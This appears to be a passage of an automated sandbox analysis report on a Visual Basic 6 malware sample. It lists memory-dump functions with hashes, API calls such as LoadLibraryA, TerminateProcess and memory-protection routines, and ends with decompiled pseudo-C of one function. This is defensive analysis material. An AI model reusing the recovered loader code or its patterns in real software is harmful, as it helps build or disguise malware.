Opcode ID: 33bf157c580e201f7ad36b9a6c673d1bac41f70d69558b87b829d1e12ac76ed8
Instruction ID: 5709b3d6fc0de532d9a3dcaa90e1954cc0e45f308c84d007563fa4230cc39b20
Opcode Fuzzy Hash: 33bf157c580e201f7ad36b9a6c673d1bac41f70d69558b87b829d1e12ac76ed8
Instruction Fuzzy Hash: C101D675778303E9CE633ED4ADA4BFD02524F16722FD0611BAC836540D56D840B1CE5B

Uniqueness

Uniqueness Score: -1.00%

Function 02295412, Relevance: 1.6, APIs: 1, Instructions: 50libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,55D89CD1,?,02290812,00000000), ref: 022954DD

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 707e290095efeb693fd9c73b1a162f31dd083ec5afa01d9e7d40210115711cd9
Instruction ID: f22e222a0ed5904de240078ae92fc3fd2876b2e6bf8301f6d7a74e7bca17f2fb
Opcode Fuzzy Hash: 707e290095efeb693fd9c73b1a162f31dd083ec5afa01d9e7d40210115711cd9
Instruction Fuzzy Hash: D701D4B177D7C2A9DF63AFF006542982FA298536653CC668F89C63640BC2A48165C746

Uniqueness

Uniqueness Score: -1.00%

Function 02290F20, Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 022930D0

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: a9fec43cd8c0fd084c767e51032c093addda12f9656e45ebe7f36af9d4f77d42
Instruction ID: 03487d0f5bb3f640f2fe15dce08d7fc31e887e41bb3331654353e01da8a1ebab
Opcode Fuzzy Hash: a9fec43cd8c0fd084c767e51032c093addda12f9656e45ebe7f36af9d4f77d42
Instruction Fuzzy Hash: 6F017031928BC668DF3196B40D183DF1B530F03254F9C834ED895310C9C7695259C342

Uniqueness

Uniqueness Score: -1.00%

Function 022953F0, Relevance: 1.5, APIs: 1, Instructions: 42libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,55D89CD1,?,02290812,00000000), ref: 022954DD

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d75bfdbff58aa9186195ab803ff7c7c6a7ab549e463b9c50b588962cc08053fc
Instruction ID: 8a107177580c6ec5030f7cec8779d9a1960a334f0cca3c1a938f012eeb2cc789
Opcode Fuzzy Hash: d75bfdbff58aa9186195ab803ff7c7c6a7ab549e463b9c50b588962cc08053fc
Instruction Fuzzy Hash: F8F02BB577C3C2E89F637EE446142ED1F634D176663C8651F98873140E86E44172CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 02293088, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 022930D0

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 1e8b8ef10183e45847752a3fdeabdef1e89f3839b707e0c206461f6fda423d38
Instruction ID: ee4129cd9caaa82955fb0ba71d15c3e5bf31c9d3514491ce6c2396e03717119d
Opcode Fuzzy Hash: 1e8b8ef10183e45847752a3fdeabdef1e89f3839b707e0c206461f6fda423d38
Instruction Fuzzy Hash: 40F0C2B59397C219CF22EBF41D453856F42AF43564F4C47CA95E66A0EBC3908185C711

Uniqueness

Uniqueness Score: -1.00%

Function 022906F6, Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

EnumWindows.USER32(02290760,?,00000000), ref: 02290743

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 34e678f444fee2d0f1cd45b6523d50fda250c24a1199431944e923cd53e4a59f
Instruction ID: 0a61bb056574ef2d3ad673bc1dd05863a6411bd6b402634012b854249492ef29
Opcode Fuzzy Hash: 34e678f444fee2d0f1cd45b6523d50fda250c24a1199431944e923cd53e4a59f
Instruction Fuzzy Hash: 90F08B7022AB89E9CF2256B848247D52B918F432B4F18474DCCF6870D5CB42868BCB15

Uniqueness

Uniqueness Score: -1.00%

Function 02295434, Relevance: 1.5, APIs: 1, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,55D89CD1,?,02290812,00000000), ref: 022954DD

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: aa285a0ec925e7810a677c3c27b528818634ebe317775ea418b9a307e74b1839
Instruction ID: b40cf84e878b15a093c1b74e388fe70d552905fc081615800bfddd9c71ee95d2
Opcode Fuzzy Hash: aa285a0ec925e7810a677c3c27b528818634ebe317775ea418b9a307e74b1839
Instruction Fuzzy Hash: 8EF0E2F67793C2A98F636EE142142AD2F6349176A13C8A50B88873100E82F48235CB46

Uniqueness

Uniqueness Score: -1.00%

Function 02290723, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

EnumWindows.USER32(02290760,?,00000000), ref: 02290743

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 271be9530cca532cae787498011362591f1f1cc4915895629cea3b4c55018b38
Instruction ID: 07dc735ccb69a1387183cf15c05c1e80350c2298eda7a12eb12be1799dd1b3e5
Opcode Fuzzy Hash: 271be9530cca532cae787498011362591f1f1cc4915895629cea3b4c55018b38
Instruction Fuzzy Hash: 2BF08BB0225B8569DF2152B848107D53B825F035B4F1C0B0DD8F6861C5C312428AC715

Uniqueness

Uniqueness Score: -1.00%

Function 02293207, Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,022931A1,00000000,02293281,02290860,00000000,000000FE,00000011,00000000,00000000), ref: 02293244

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c41cc8cad668b1daae50886fb1e76c6ebd42a011a06477934189784665c51820
Instruction ID: c0b7f02bbc0963f11ba1b687c61528e3b77b79ef667f30ac6f8fe56daded8283
Opcode Fuzzy Hash: c41cc8cad668b1daae50886fb1e76c6ebd42a011a06477934189784665c51820
Instruction Fuzzy Hash: 3DF055E0B2C7C378FB35A2B00E15BA68A52AB91746F0C868F9F86240C793E098418216

Uniqueness

Uniqueness Score: -1.00%

Function 022954A4, Relevance: 1.5, APIs: 1, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,55D89CD1,?,02290812,00000000), ref: 022954DD

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: dffa7350da26e28f33514e3868e14347af1a5992f053f8c722d3acc48bf57f3f
Instruction ID: 07f9eeac2ad506fac45d8961166ef5180b0b02690361267b96792b60a20f2ab8
Opcode Fuzzy Hash: dffa7350da26e28f33514e3868e14347af1a5992f053f8c722d3acc48bf57f3f
Instruction Fuzzy Hash: CAE0D8B477A7C1A68F236BE042042DA6F6249022953CCA40F8C873140AD2F481258B44

Uniqueness

Uniqueness Score: -1.00%

Function 02293227, Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,022931A1,00000000,02293281,02290860,00000000,000000FE,00000011,00000000,00000000), ref: 02293244

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0e232bcf4e6416a2afa8f1608ae7b167b4ec8c1ee7c855c32d7bc144bb1c30ff
Instruction ID: 94dcb2b76ebc3cc4db5b8755639ae3143df3f2b15f6af54015610598dc419919
Opcode Fuzzy Hash: 0e232bcf4e6416a2afa8f1608ae7b167b4ec8c1ee7c855c32d7bc144bb1c30ff
Instruction Fuzzy Hash: 80D01234398340F9FA7895705D66FFA51548F90B44F548019FF8B181C586E19D40C115

Uniqueness

Uniqueness Score: -1.00%

Function 02294146, Relevance: 1.5, APIs: 1, Instructions: 13libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000,02294114,022913D2,00000000,00000000,00000000,00000000,00000032,0000033D,?,02293361,?,?,00000004,?,00000000), ref: 0229416E

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c1a8d9516df45537cb6a833fe96e0bdc24c3c8e3b4fc9512b92735e4eb7d5dad
Instruction ID: 055f10b08c9c36d88b7e20af256df1f7195af9b33ecd7e430d68c171eb2383e0
Opcode Fuzzy Hash: c1a8d9516df45537cb6a833fe96e0bdc24c3c8e3b4fc9512b92735e4eb7d5dad
Instruction Fuzzy Hash: 66D0A7F130E7C41DDB33D3B005043452FA1575304434C868F81D075827CA44C75AD391

Uniqueness

Uniqueness Score: -1.00%

Function 02293085, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,?,?,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 022930D0

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00abe83215df84ea439a7a6312bd6eea5e0bb904f7e5e29c7bc7e68fb2f88380
Instruction ID: 41b2038a31073c315b24ef8db39801f875f70fdcca0a68518b7796794e33db3d
Opcode Fuzzy Hash: 00abe83215df84ea439a7a6312bd6eea5e0bb904f7e5e29c7bc7e68fb2f88380
Instruction Fuzzy Hash: 0AC092396346996ACE70DAE46C0ABF86A43876277AEA00380B13A744E98AD084C4C101

Uniqueness

Uniqueness Score: -1.00%

Function 004133E4, Relevance: 1.3, Strings: 1, Instructions: 8COMMON

Download Yara Rule

Strings

h3A, xrefs: 004133EF

Memory Dump Source

Source File: 00000001.00000002.295997155.0000000000404000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295981156.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295994107.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000001.00000002.296013846.000000000042D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.296018416.000000000042F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: h3A
API String ID: 0-1278564284
Opcode ID: bbb3e899dc5a0a1f0907a0d1c6fe31aa26d5453972557ca302b4d79cfb99e3b1
Instruction ID: f5ebdc6f17f7e5cb913579b56966f287fd3e8a16d02f36155130ee88caa2d3f5
Opcode Fuzzy Hash: bbb3e899dc5a0a1f0907a0d1c6fe31aa26d5453972557ca302b4d79cfb99e3b1
Instruction Fuzzy Hash: 54B0123038400A9A97109A94CC425743290A204BC13341C33FC20C1190DF69DE45C12F

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 022963F1, Relevance: 1.5, Strings: 1, Instructions: 282COMMON

Download Yara Rule

Strings

Q>[, xrefs: 02296433

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID: Q>[
API String ID: 3389902171-3793658124
Opcode ID: 390b8804702c7a938064f781811c892b928a5e9e3ce2bd090e3dc31c67cac256
Instruction ID: 16e3c9e4caf7c43807eebf63af494ceaf53a56709cbea41b0dcea72e68cfeae0
Opcode Fuzzy Hash: 390b8804702c7a938064f781811c892b928a5e9e3ce2bd090e3dc31c67cac256
Instruction Fuzzy Hash: F2A10A70A24343CEDF35CFA885D47B5BBD5AF12360F48829AC9968B2DED3758485CB12

Uniqueness

Uniqueness Score: -1.00%

Function 02291BC7, Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8dfb65e9e6590642cb934e6bb420dd0130ff57020ad50db32b8d9f737db65d94
Instruction ID: 987317945b93c1946e3f6deeeaf171bc07e0ba51790f254253c8d81d4eb4c106
Opcode Fuzzy Hash: 8dfb65e9e6590642cb934e6bb420dd0130ff57020ad50db32b8d9f737db65d94
Instruction Fuzzy Hash: 8BE14631760707EFDB149E68DC90BE573A5FF05350F948328EC9997249CB74A8A6CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02296416, Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28aa99ce6b834f1fe9a9161801fe718f172b918021c5985f350adf0c53f5d375
Instruction ID: d87ddc7b64e8530efd19729692f7f3e1c4bd5cb2ec02e29d9c1ea3740f5fb352
Opcode Fuzzy Hash: 28aa99ce6b834f1fe9a9161801fe718f172b918021c5985f350adf0c53f5d375
Instruction Fuzzy Hash: DC51E870928382CEDF25CFA885A47B17BE5DF13260F48829EC9A64B2DED375C445CB12

Uniqueness

Uniqueness Score: -1.00%

Function 0229644C, Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f04fdfc184432b8488b3da0fc4729406ad3ebef8db5adc9085c593916a6f489
Instruction ID: fd7175500ae891376d67f587566c7de07a8576c6cb47379691ba92c847df52cf
Opcode Fuzzy Hash: 9f04fdfc184432b8488b3da0fc4729406ad3ebef8db5adc9085c593916a6f489
Instruction Fuzzy Hash: 8F51D870924782CEDF31CFA889A47B17BD5DF13264F48829EC9A54B2DED3758445CB12

Uniqueness

Uniqueness Score: -1.00%

Function 02292415, Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f391e7b91e357af83c7e50d595e5f25123d44cffbaceb6225fb092c999890a00
Instruction ID: 4771a47f7279a64456dd642e6d023410603161a4bbbf730118025e2029ca5e4b
Opcode Fuzzy Hash: f391e7b91e357af83c7e50d595e5f25123d44cffbaceb6225fb092c999890a00
Instruction Fuzzy Hash: 4B411670274341DEFF25AFA4C959FE9B3A6AF01790F454118ED869B1DAC3A48880CA11

Uniqueness

Uniqueness Score: -1.00%

Function 022923FC, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79ec3f9c03436f3672aea30db70b269bef844b86bd57f75ba16567bd291366f0
Instruction ID: c11916f061c2203b3a140f4c43d62ffcae93c2ec3dbce221b4ed5ce33bd621c8
Opcode Fuzzy Hash: 79ec3f9c03436f3672aea30db70b269bef844b86bd57f75ba16567bd291366f0
Instruction Fuzzy Hash: EB31A970275345EEFF219FB08994FE9B7A6AF02740F89415DDE899B08AC3A1C880CA11

Uniqueness

Uniqueness Score: -1.00%

Function 02292440, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c3bc8cb2267e84a2217453d916242e8a41f7baceb652c9fb903ea5c32747dfd
Instruction ID: a9cc90039cabd6b27b020037e14c677ddb881ecccb6053fb967acb03dbd463f5
Opcode Fuzzy Hash: 8c3bc8cb2267e84a2217453d916242e8a41f7baceb652c9fb903ea5c32747dfd
Instruction Fuzzy Hash: D2317970674345EEFF21ABB0CE59FE577A6AF01740F888549DE859F0DAD3A1C480CA11

Uniqueness

Uniqueness Score: -1.00%

Function 02297644, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4479b874a0b2506545f018a4ad2e8b10dc753aa337861f79e980124c3a3b3b0
Instruction ID: 72a6230a4e8d12a06b7d1abe208e2eb08b40d6d3885cc74e82bd721ded8c74f3
Opcode Fuzzy Hash: c4479b874a0b2506545f018a4ad2e8b10dc753aa337861f79e980124c3a3b3b0
Instruction Fuzzy Hash: EC014770630305DFEF419BB88598BD5B6A29F0A3A0F588148DD1A5B19AC3A18880CA14

Uniqueness

Uniqueness Score: -1.00%

Function 0229765E, Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549acf7f175ce420101378b83afdc8499251e236d7035e7fa281c76082ff2a06
Instruction ID: bb182d24dca09e354f0a4600ae4a9ba9433ae8fbe756c5ae8322990798af518b
Opcode Fuzzy Hash: 549acf7f175ce420101378b83afdc8499251e236d7035e7fa281c76082ff2a06
Instruction Fuzzy Hash: 1BF024B0A703049EEB515BE88688FC9BAA79F09361F568088DE192B06BD395C880C921

Uniqueness

Uniqueness Score: -1.00%

Function 02295A88, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22b8ea9f37bed7cf7d44c49d444dabc8a60f0c2ecdf5c3e69a33d4bfd3a594a2
Instruction ID: c2b238a9e7c9b3c08b35b50ed137f3bc47d7612a8612a8bc4c8304975e39183d
Opcode Fuzzy Hash: 22b8ea9f37bed7cf7d44c49d444dabc8a60f0c2ecdf5c3e69a33d4bfd3a594a2
Instruction Fuzzy Hash: D7F058753312018FCB16CE94C5E0F5AB3A6AB54600BC58456E802C726DD334ECA4CB1A

Uniqueness

Uniqueness Score: -1.00%

Function 022930E0, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 375bbdb3f5f82d4a86b4c8f85ef8b505fdc3876bb2ab96a4ed6c144f12f63a42
Instruction ID: e1bd092784450ba6826666ca789774c307b8858dc550c2403e2f6c7f3207c9d4
Opcode Fuzzy Hash: 375bbdb3f5f82d4a86b4c8f85ef8b505fdc3876bb2ab96a4ed6c144f12f63a42
Instruction Fuzzy Hash: 27E04F761101869FDF91DE5CC590FE533F0EB093A4F544544E496CF254C325D941CF08

Uniqueness

Uniqueness Score: -1.00%

Function 022952DA, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47f62b0c25e9740eee688765b15c19d7df68234708aa416d1e3f5b9f6d7f9730
Instruction ID: 8909698e852df728a8111ea5c357ed7a44c994ee093211271cb26ca301be4d92
Opcode Fuzzy Hash: 47f62b0c25e9740eee688765b15c19d7df68234708aa416d1e3f5b9f6d7f9730
Instruction Fuzzy Hash: 4AD0C970B29B80CADF97CA5A8290B1573F0FB40100BC18495E4818F92ACBA0D842C605

Uniqueness

Uniqueness Score: -1.00%

Function 022952C8, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, Offset: 02290000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8cd832661161374f73b27ff780a012b34bbc6710455ed7b99f1dca3976f98ee
Instruction ID: 4478328cffc228b5df420c9a1eca310b1ae5391fceb16e25224a13b34be5d4c7
Opcode Fuzzy Hash: c8cd832661161374f73b27ff780a012b34bbc6710455ed7b99f1dca3976f98ee
Instruction Fuzzy Hash: D9C01230B34640CBCE86CA8A82D0A2473F0BF80200BC080A0E8028F61DC7E0D811C604

Uniqueness

Uniqueness Score: -1.00%

Function 00413514, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.295997155.0000000000404000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295981156.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295994107.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000001.00000002.296013846.000000000042D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.296018416.000000000042F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8f1f66dbde066e869ab820a180fe6c131b17e8c51052718cd44135017b6b564
Instruction ID: d70ad05a4d65e49938bcc85d937ccd720b1e5ff727f4fc6479603ff13b4e6931
Opcode Fuzzy Hash: f8f1f66dbde066e869ab820a180fe6c131b17e8c51052718cd44135017b6b564
Instruction Fuzzy Hash: 2BB01230784001AA97209A9C8C038603190B200BC13340D33F800C11A0EB28EE44813E

Uniqueness

Uniqueness Score: -1.00%

Function 0042B438, Relevance: 40.4, APIs: 19, Strings: 4, Instructions: 171
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E0042B438(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				char _v44;
				intOrPtr _v52;
				char _v60;
				char _v76;
				intOrPtr _v116;
				char _v124;
				void* _v128;
				signed int _v132;
				intOrPtr* _v136;
				signed int _v140;
				signed int _v152;
				intOrPtr* _v156;
				signed int _v160;
				signed int _v164;
				intOrPtr* _v168;
				signed int _v172;
				short _t87;
				char* _t90;
				signed int _t96;
				signed int _t101;
				char* _t106;
				signed int _t110;
				signed int _t111;
				signed int _t112;
				void* _t125;
				void* _t127;
				intOrPtr _t128;

				_t128 = _t127 - 0xc;
				 *[fs:0x0] = _t128;
				L00401AF0();
				_v16 = _t128;
				_v12 = 0x401a90;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x401af6, _t125);
				_v52 = 0x20;
				_v60 = 2;
				_push( &_v60);
				_push(1);
				_push( &_v76);
				L00401BAA();
				_v116 = 0x415090;
				_v124 = 0x8008;
				_push( &_v76);
				_t87 =  &_v124;
				_push(_t87);
				L00401CA6();
				_v128 = _t87;
				_push( &_v76);
				_push( &_v60);
				_push(2);
				L00401C4C();
				_t90 = _v128;
				if(_t90 != 0) {
					if( *0x42d3b4 != 0) {
						_v156 = 0x42d3b4;
					} else {
						_push(0x42d3b4);
						_push(0x41458c);
						L00401C8E();
						_v156 = 0x42d3b4;
					}
					_v128 =  *_v156;
					_t96 =  *((intOrPtr*)( *_v128 + 0x14))(_v128,  &_v40);
					asm("fclex");
					_v132 = _t96;
					if(_v132 >= 0) {
						_v160 = _v160 & 0x00000000;
					} else {
						_push(0x14);
						_push(0x41457c);
						_push(_v128);
						_push(_v132);
						L00401C88();
						_v160 = _t96;
					}
					_v136 = _v40;
					_t101 =  *((intOrPtr*)( *_v136 + 0xd8))(_v136,  &_v36);
					asm("fclex");
					_v140 = _t101;
					if(_v140 >= 0) {
						_v164 = _v164 & 0x00000000;
					} else {
						_push(0xd8);
						_push(0x414618);
						_push(_v136);
						_push(_v140);
						L00401C88();
						_v164 = _t101;
					}
					_v152 = _v36;
					_v36 = _v36 & 0x00000000;
					L00401C76();
					L00401C7C();
					L00401BA4();
					if( *0x42d010 != 0) {
						_v168 = 0x42d010;
					} else {
						_push("HrK");
						_push(0x4126d8);
						L00401C8E();
						_v168 = 0x42d010;
					}
					_t106 =  &_v40;
					L00401C94();
					_v128 = _t106;
					_t110 =  *((intOrPtr*)( *_v128 + 0xd0))(_v128,  &_v44, _t106,  *((intOrPtr*)( *((intOrPtr*)( *_v168)) + 0x328))( *_v168));
					asm("fclex");
					_v132 = _t110;
					if(_v132 >= 0) {
						_v172 = _v172 & 0x00000000;
					} else {
						_push(0xd0);
						_push(0x4136fc);
						_push(_v128);
						_push(_v132);
						L00401C88();
						_v172 = _t110;
					}
					_push(0);
					_push(0);
					_push(_v44);
					_t111 =  &_v60;
					_push(_t111);
					L00401C6A();
					_push(_t111);
					L00401C22();
					_t112 =  ~_t111;
					_push(_t112);
					_push(L"Sympatiskes8");
					_push(L"chauss");
					_push(0);
					L00401B9E();
					_v32 = _t112;
					_push( &_v44);
					_t90 =  &_v40;
					_push(_t90);
					_push(2);
					L00401C64();
					L00401C5E();
				}
				_push(0x42b6ec);
				L00401C82();
				return _t90;
			}

0x0042b43b
0x0042b44a
0x0042b456
0x0042b45e
0x0042b461
0x0042b468
0x0042b477
0x0042b47a
0x0042b481
0x0042b48b
0x0042b48c
0x0042b491
0x0042b492
0x0042b497
0x0042b49e
0x0042b4a8
0x0042b4a9
0x0042b4ac
0x0042b4ad
0x0042b4b2
0x0042b4b9
0x0042b4bd
0x0042b4be
0x0042b4c0
0x0042b4c8
0x0042b4ce
0x0042b4db
0x0042b4f8
0x0042b4dd
0x0042b4dd
0x0042b4e2
0x0042b4e7
0x0042b4ec
0x0042b4ec
0x0042b50a
0x0042b519
0x0042b51c
0x0042b51e
0x0042b525
0x0042b541
0x0042b527
0x0042b527
0x0042b529
0x0042b52e
0x0042b531
0x0042b534
0x0042b539
0x0042b539
0x0042b54b
0x0042b563
0x0042b569
0x0042b56b
0x0042b578
0x0042b59d
0x0042b57a
0x0042b57a
0x0042b57f
0x0042b584
0x0042b58a
0x0042b590
0x0042b595
0x0042b595
0x0042b5a7
0x0042b5ad
0x0042b5ba
0x0042b5c2
0x0042b5c7
0x0042b5d3
0x0042b5f0
0x0042b5d5
0x0042b5d5
0x0042b5da
0x0042b5df
0x0042b5e4
0x0042b5e4
0x0042b614
0x0042b618
0x0042b61d
0x0042b62c
0x0042b632
0x0042b634
0x0042b63b
0x0042b65a
0x0042b63d
0x0042b63d
0x0042b642
0x0042b647
0x0042b64a
0x0042b64d
0x0042b652
0x0042b652
0x0042b661
0x0042b663
0x0042b665
0x0042b668
0x0042b66b
0x0042b66c
0x0042b674
0x0042b675
0x0042b67a
0x0042b67c
0x0042b67d
0x0042b682
0x0042b687
0x0042b689
0x0042b68e
0x0042b694
0x0042b695
0x0042b698
0x0042b699
0x0042b69b
0x0042b6a6
0x0042b6a6
0x0042b6ab
0x0042b6e6
0x0042b6eb

APIs

__vbaChkstk.MSVBVM60(?,00401AF6), ref: 0042B456
#607.MSVBVM60(?,00000001,00000002), ref: 0042B492
__vbaVarTstNe.MSVBVM60(00008008,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0042B4AD
__vbaFreeVarList.MSVBVM60(00000002,00000002,?,00008008,?), ref: 0042B4C0
__vbaNew2.MSVBVM60(0041458C,0042D3B4,?,?,00401AF6), ref: 0042B4E7
__vbaHresultCheckObj.MSVBVM60(00000000,?,0041457C,00000014), ref: 0042B534
__vbaHresultCheckObj.MSVBVM60(00000000,?,00414618,000000D8), ref: 0042B590
__vbaStrMove.MSVBVM60(00000000,?,00414618,000000D8), ref: 0042B5BA
__vbaFreeObj.MSVBVM60(00000000,?,00414618,000000D8), ref: 0042B5C2
#554.MSVBVM60(00000000,?,00414618,000000D8), ref: 0042B5C7
__vbaNew2.MSVBVM60(004126D8,HrK), ref: 0042B5DF
__vbaObjSet.MSVBVM60(?,00000000), ref: 0042B618
__vbaHresultCheckObj.MSVBVM60(00000000,?,004136FC,000000D0), ref: 0042B64D
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0042B66C
__vbaI4Var.MSVBVM60(00000000), ref: 0042B675
__vbaInStr.MSVBVM60(00000000,chauss,Sympatiskes8,00000000,00000000), ref: 0042B689
